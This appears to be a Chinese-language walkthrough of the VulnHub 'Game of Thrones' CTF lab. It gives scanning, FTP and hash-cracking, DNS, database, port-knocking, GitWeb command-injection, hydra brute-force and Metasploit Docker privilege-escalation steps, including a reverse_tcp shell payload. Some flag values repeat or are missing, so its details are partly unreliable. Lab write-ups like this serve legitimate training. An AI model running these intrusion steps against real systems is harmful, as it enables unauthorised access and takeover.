Game-of-Thrones-CTF-1.0靶机实战演练
字数 2934 2025-08-18 11:37:23

Game of Thrones CTF 靶机实战教学文档

靶机概述

  • 主题:权利的游戏(Game of Thrones)
  • 难度:中高水平
  • 目标:获得七国的flag和四个额外flag(三个secret flag和一个final flag)
  • 特点:需要结合《权力的游戏》相关知识,地图是关键信息来源

环境配置

  1. 靶机下载地址:https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/
  2. 网络配置:VMware NAT模式
    • 靶机IP:192.168.128.137(自动获取)
    • 攻击机IP:192.168.128.106

信息收集

初始扫描

nmap -sV 192.168.128.137

发现开放端口:

  • 80端口:Web服务
  • 其他端口:后续会动态开放

Web目录扫描

使用dirb扫描Web目录:

dirb http://192.168.128.137/

发现重要目录:

  • /robots.txt
  • /secret-island/
  • /direct-access-to-kings-landing/
  • /the-tree/
  • /h/i/d/d/e/n/

漏洞利用路径

第一阶段:获取初始凭证

  1. 访问/h/i/d/d/e/n/目录,在源代码中发现密码:

    A_verySmallManCanCastAVeryLargeShad0w
    
  2. 结合《权游》知识:

    • Dorne领主是Oberyn Martell
    • 推测FTP用户名为:oberynmartell

FTP服务利用

  1. 连接FTP:

    ftp 192.168.128.137
    用户名:oberynmartell
    密码:A_verySmallManCanCastAVeryLargeShad0w
    
  2. 下载文件:

    • hash.txt(包含加密密码)
    • the_wall.txt.nc(加密文件)
  3. 破解hash.txt:

    john --format=dynamic_2008 hash.txt
    
  4. 解密the_wall.txt.nc:

    mcrypt -d the_wall.txt.nc
    

第二阶段:域名发现与利用

  1. 在解密文件中发现域名:

    winterfell.7kingdoms.ctf
    
  2. 添加到/etc/hosts:

    192.168.128.137 winterfell.7kingdoms.ctf
    
  3. 访问网站,使用破解的凭证登录,在源代码中找到:

    • 第一个flag:639bae9ac6b3e1a84cebb7b403297b79
    • 提示:"Timef0rconqu3rs TeXT should be asked to enter into the Iron Islands fortress" - Theon Greyjoy
  4. 检查TXT记录:

    nslookup -q=txt Timef0rconqu3rs.7Kingdoms.ctf 192.168.128.137
    

    获得:

    • 第二个flag:5e93de3efa544e85dcd6311732d28f95
    • 新域名:stormlands.7kingdoms.ctf:10000
    • 凭证:aryastark/N3ddl3_1s_a_g00d_sword#!

第三阶段:Webmin利用

  1. 访问http://stormlands.7kingdoms.ctf:10000
  2. 使用文件管理器模块,访问/home/aryastark/flag.txt
  3. 获得第三个flag:8fc42c6ddf9966db3b09e84365034357

第四阶段:PostgreSQL数据库

  1. 连接PostgreSQL:

    psql -h 192.168.128.137 -U robinarryn -d mountainandthevale
    
  2. 查询flag表:

    SELECT * FROM flag;
    

    获得base64编码的第四个flag:bb3aec0fdcdbc2974890f805c585d432

  3. 查询其他表:

    SELECT * FROM aryas_kill_list;
    SELECT * FROM braavos_book;
    

    发现rot16编码字符串:

    Dro wkxi-pkmon qyn gkxdc iye dy mrkxqo iyeb pkmo. Ro gkxdc iye dy snoxdspi kc yxo yp iyeb usvv vscd. Covomd sd lkcon yx drsc lyyu'c vycd zkqo xewlob. Dro nkdklkco dy myxxomd gsvv lo lbkkfyc kxn iyeb zkccgybn gsvv lo: FkvkbWybqrevsc
    
  4. 解码rot16获得:

    • 数据库名:braavos
    • 密码:ValarMorghulis
    • 提示:使用kill list中的用户名登录
  5. 使用用户名TheRedWomanMelisandre登录,查询temple表获得第五个flag:3f82c41a70a8b0cfec9052252d9fd721

第五阶段:端口敲门与IMAP

  1. 使用端口敲门开启143端口:

    knock 192.168.128.137 3487 64535 12345
    
  2. 连接IMAP:

    nc 192.168.128.137 143
    

    获得:

    • 第六个flag
    • 新端口1337的提示
    • 凭证:TywinLannister/LannisterN3verDie!

第六阶段:GitWeb命令注入

  1. 访问1337端口的GitWeb
  2. 利用命令注入漏洞:
    • 解码十六进制信息:/home/tyrionlannister/checkpoint.txt
    • 获得:
      • 第七个flag:c8d46d341bea4fd5bff866a65ff8aea9
      • SSH凭证:daenerystargaryen/.Dracarys4thewin

第七阶段:SSH访问与提权

  1. SSH登录:

    ssh daenerystargaryen@192.168.128.137
    
  2. 发现文件:

    • digger.txt(字典文件)
    • checkpoint.txt(提示通过172.25.0.2的SSH登录)
  3. 使用hydra爆破root密码:

    hydra -l root -P digger.txt ssh://localhost:2222
    

    获得密码:Dr4g0nGl4ss!

  4. 提权后获得:

    • secret flag:a8db1d82db78ed452ba0882fb9554fc9
    • 新凭证:branstark/Th3_Thr33_Ey3d_Raven
  5. 使用Metasploit进行Docker提权:

    use exploit/linux/local/docker_daemon_privilege_escalation
    set payload linux/x86/meterpreter/reverse_tcp
    run
    

第八阶段:Final Flag

  1. 发现文件:

    • final_battle(密码保护的zip)
    • 伪代码提示
  2. 收集所有secret flag:

    • 8bf8854bebe108183caeb845c7676ae4
    • 3f82c41a70a8b0cfec9052252d9fd721
    • a8db1d82db78ed452ba0882fb9554fc9
  3. 根据伪代码生成密码:

    45c7676ae4252d9fd7212fb9554fc9
    
  4. 解压final_battle获得final flag:

    8e63dcd86ef9574181a9b6184ed3dde5
    

所有Flag汇总

  1. Kingdom of the North: 639bae9ac6b3e1a84cebb7b403297b79
  2. Iron Islands: 5e93de3efa544e85dcd6311732d28f95
  3. Stormlands: 8fc42c6ddf9966db3b09e84365034357
  4. Mountain and the Vale: bb3aec0fdcdbc2974890f805c585d432
  5. Braavos: 3f82c41a70a8b0cfec9052252d9fd721
  6. The Reach: [IMAP中获得的flag]
  7. The Westerlands: c8d46d341bea4fd5bff866a65ff8aea9
  8. Secret Flag 1: 8bf8854bebe108183caeb845c7676ae4
  9. Secret Flag 2: 3f82c41a70a8b0cfec9052252d9fd721
  10. Secret Flag 3: a8db1d82db78ed452ba0882fb9554fc9
  11. Final Flag: 8e63dcd86ef9574181a9b6184ed3dde5

技术要点总结

  1. 信息收集是关键:nmap、dirb、robots.txt
  2. 密码破解:John the Ripper、mcrypt
  3. 服务利用:FTP、PostgreSQL、IMAP
  4. Web漏洞:命令注入、文件包含
  5. 提权技术:端口敲门、Docker提权
  6. 编码识别:base64、rot16
  7. 密码学:伪代码分析生成密码

参考资源

  1. http://www.hackingarticles.in/hack-game-thrones-vm-ctf-challenge/
  2. http://devloop.users.sourceforge.net/index.php?article136/solution-du-ctf-game-of-thrones-1-de-vulnhub
Game of Thrones CTF 靶机实战教学文档 靶机概述 主题:权利的游戏(Game of Thrones) 难度:中高水平 目标:获得七国的flag和四个额外flag(三个secret flag和一个final flag) 特点:需要结合《权力的游戏》相关知识,地图是关键信息来源 环境配置 靶机下载地址:https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/ 网络配置:VMware NAT模式 靶机IP:192.168.128.137(自动获取) 攻击机IP:192.168.128.106 信息收集 初始扫描 发现开放端口: 80端口:Web服务 其他端口:后续会动态开放 Web目录扫描 使用dirb扫描Web目录: 发现重要目录: /robots.txt /secret-island/ /direct-access-to-kings-landing/ /the-tree/ /h/i/d/d/e/n/ 漏洞利用路径 第一阶段:获取初始凭证 访问 /h/i/d/d/e/n/ 目录,在源代码中发现密码: 结合《权游》知识: Dorne领主是Oberyn Martell 推测FTP用户名为:oberynmartell FTP服务利用 连接FTP: 下载文件: hash.txt(包含加密密码) the_ wall.txt.nc(加密文件) 破解hash.txt: 解密the_ wall.txt.nc: 第二阶段:域名发现与利用 在解密文件中发现域名: 添加到/etc/hosts: 访问网站,使用破解的凭证登录,在源代码中找到: 第一个flag:639bae9ac6b3e1a84cebb7b403297b79 提示:"Timef0rconqu3rs TeXT should be asked to enter into the Iron Islands fortress" - Theon Greyjoy 检查TXT记录: 获得: 第二个flag:5e93de3efa544e85dcd6311732d28f95 新域名:stormlands.7kingdoms.ctf:10000 凭证:aryastark/N3ddl3_ 1s_ a_ g00d_ sword# ! 第三阶段:Webmin利用 访问http://stormlands.7kingdoms.ctf:10000 使用文件管理器模块,访问/home/aryastark/flag.txt 获得第三个flag:8fc42c6ddf9966db3b09e84365034357 第四阶段:PostgreSQL数据库 连接PostgreSQL: 查询flag表: 获得base64编码的第四个flag:bb3aec0fdcdbc2974890f805c585d432 查询其他表: 发现rot16编码字符串: 解码rot16获得: 数据库名:braavos 密码:ValarMorghulis 提示:使用kill list中的用户名登录 使用用户名TheRedWomanMelisandre登录,查询temple表获得第五个flag:3f82c41a70a8b0cfec9052252d9fd721 第五阶段:端口敲门与IMAP 使用端口敲门开启143端口: 连接IMAP: 获得: 第六个flag 新端口1337的提示 凭证:TywinLannister/LannisterN3verDie ! 第六阶段:GitWeb命令注入 访问1337端口的GitWeb 利用命令注入漏洞: 解码十六进制信息:/home/tyrionlannister/checkpoint.txt 获得: 第七个flag:c8d46d341bea4fd5bff866a65ff8aea9 SSH凭证:daenerystargaryen/.Dracarys4thewin 第七阶段:SSH访问与提权 SSH登录: 发现文件: digger.txt(字典文件) checkpoint.txt(提示通过172.25.0.2的SSH登录) 使用hydra爆破root密码: 获得密码:Dr4g0nGl4ss ! 提权后获得: secret flag:a8db1d82db78ed452ba0882fb9554fc9 新凭证:branstark/Th3_ Thr33_ Ey3d_ Raven 使用Metasploit进行Docker提权: 第八阶段:Final Flag 发现文件: final_ battle(密码保护的zip) 伪代码提示 收集所有secret flag: 8bf8854bebe108183caeb845c7676ae4 3f82c41a70a8b0cfec9052252d9fd721 a8db1d82db78ed452ba0882fb9554fc9 根据伪代码生成密码: 解压final_ battle获得final flag: 所有Flag汇总 Kingdom of the North: 639bae9ac6b3e1a84cebb7b403297b79 Iron Islands: 5e93de3efa544e85dcd6311732d28f95 Stormlands: 8fc42c6ddf9966db3b09e84365034357 Mountain and the Vale: bb3aec0fdcdbc2974890f805c585d432 Braavos: 3f82c41a70a8b0cfec9052252d9fd721 The Reach: [ IMAP中获得的flag ] The Westerlands: c8d46d341bea4fd5bff866a65ff8aea9 Secret Flag 1: 8bf8854bebe108183caeb845c7676ae4 Secret Flag 2: 3f82c41a70a8b0cfec9052252d9fd721 Secret Flag 3: a8db1d82db78ed452ba0882fb9554fc9 Final Flag: 8e63dcd86ef9574181a9b6184ed3dde5 技术要点总结 信息收集是关键:nmap、dirb、robots.txt 密码破解:John the Ripper、mcrypt 服务利用:FTP、PostgreSQL、IMAP Web漏洞:命令注入、文件包含 提权技术:端口敲门、Docker提权 编码识别:base64、rot16 密码学:伪代码分析生成密码 参考资源 http://www.hackingarticles.in/hack-game-thrones-vm-ctf-challenge/ http://devloop.users.sourceforge.net/index.php?article136/solution-du-ctf-game-of-thrones-1-de-vulnhub